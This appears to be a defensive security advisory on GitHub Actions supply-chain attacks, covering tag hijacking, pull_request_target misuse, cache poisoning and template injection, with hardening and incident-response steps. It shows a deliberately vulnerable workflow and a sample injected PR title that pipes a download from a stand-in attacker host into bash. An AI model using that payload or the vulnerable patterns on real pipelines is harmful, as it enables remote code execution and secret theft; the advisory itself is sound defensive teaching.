This issue has been assessed as high severity. Review affected configurations immediately.
GitHub Actions has become one of the most reliable initial access vectors for supply chain attacks. Three high-profile incidents in the past year alone — tj-actions/changed-files (March 2025, 23,000+ repos affected, CVE-2025-30066), Trivy-action (March 2026, 75 of 76 version tags compromised), and actions-cool/issues-helper (May 2026) — all used the same fundamental pattern: compromise a popular Action, force-push malicious code to its mutable tags, and wait for downstream workflows to pull and execute it.
If your pipelines consume third-party Actions by mutable tag — uses: some-action@v4 — you are one compromised upstream repo away from credential exfiltration at scale.
The Attack Patterns
Tag Hijacking
GitHub Actions tags (v1, v2, v4) are git tags, and git tags are mutable. An attacker who gains write access to an Action repository — through a compromised maintainer account, a malicious PR, or a stolen PAT — can force-push all existing tags to point to a new, malicious commit. Any workflow using uses: action@v4 will silently start running the attacker’s code on the next execution.
The tj-actions attack did exactly this. The compromised Action printed all CI runner environment variables — including GITHUB_TOKEN and any secrets — to the workflow log as base64-encoded output. Logs are public for public repos.
pull_request_target Misuse
pull_request_target runs in the context of the base repository, with access to base-repo secrets and a GITHUB_TOKEN with write permissions. It was designed for use cases like labelling pull requests, where you need repository context but are running in response to an external PR.
The dangerous pattern:
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Checks out ATTACKER'S code
- run: npm test # Runs attacker's code with base-repo secrets available
This pattern appears in many open-source projects. An attacker opens a PR with a malicious package.json postinstall script, the workflow checks out their code and runs it in the privileged base-repo context, and secrets are exfiltrated.
Cache Poisoning
The TanStack attack in May 2026 demonstrated a more sophisticated chain: an attacker injected a malicious pnpm store into the GitHub Actions cache. When a subsequent legitimate workflow restored the cache, it executed the attacker-controlled binaries. The attack also extracted OIDC tokens directly from runner process memory — cloud credentials that are scoped but often over-privileged.
Template Injection
Interpolating untrusted data directly into shell commands creates script injection:
# Dangerous
- run: echo "PR title is ${{ github.event.pull_request.title }}"
# Safe
- run: echo "PR title is $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
A PR titled $(curl attacker.com | bash) becomes a problem in the first pattern.
Hardening Your Workflows
1. Pin all third-party Actions to a full commit SHA
# Vulnerable: mutable tag
- uses: actions/checkout@v4
# Safe: immutable SHA
- uses: actions/checkout@f43a0e5ff2bd294095338a393142f3e05f3233ff # v4.2.2
SHA-pinning is the single most effective control. The Action maintainer’s repository can be completely compromised and your workflow will continue running the version you pinned. Tools like Dependabot, Renovate, and zizmor can automate SHA pinning and keep SHAs updated.
2. Minimise GITHUB_TOKEN permissions
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: read
steps:
- uses: actions/checkout@{SHA}
with:
persist-credentials: false # Don't write token to disk
Set default workflow permissions to read-only at the repository or organisation level (Settings → Actions → General → Workflow permissions). Grant additional permissions only where specifically needed.
3. Fix pull_request_target
Either avoid pull_request_target entirely, or ensure you never check out PR code in a pull_request_target workflow:
# Safe pattern: use pull_request (runs in fork context, no secrets)
on: pull_request
# If you must use pull_request_target (e.g. labelling), never checkout PR code
on: pull_request_target
jobs:
label:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Apply label
uses: actions/github-script@{SHA}
with:
script: |
github.rest.issues.addLabels({...})
# No checkout, no test execution
4. Pass variables via environment, not interpolation
# Prevents injection via PR title, branch name, commit message, etc.
- name: Process PR
run: echo "$PR_TITLE" | some-tool
env:
PR_TITLE: ${{ github.event.pull_request.title }}
5. Scope secrets narrowly and rotate after incidents
Use environment-scoped secrets rather than repository secrets for deployment credentials. Secrets in GitHub Environments can require approval before use and can be restricted to specific branches. After a dependency or Action compromise, assume exposed secrets are compromised and rotate immediately.
6. Audit with zizmor
zizmor is an open-source static analysis tool that scans workflow YAML for:
- Unpinned action references
- Dangerous trigger patterns (
pull_request_target+ checkout) - Template injection risks
- Excessive permissions
pip install zizmor
zizmor .github/workflows/
Run it in CI as a gating check. A failing zizmor scan should block merge.
What to do after a tj-actions/trivy-action style attack
If a third-party Action you use is compromised:
- Immediately rotate all secrets that were present in affected workflow runs
- Check public workflow logs for base64-encoded environment variable dumps
- Review
GITHUB_TOKENusage — any write operations the compromised Action could have performed - Audit recent commits, releases, and deployments made during the compromise window
- Pin the affected Action to a known-safe SHA before re-enabling it
The GitHub security advisory database now tracks Action compromises. Subscribing to notifications for Actions in your dependency set — possible via Dependabot or manual monitoring — provides early warning.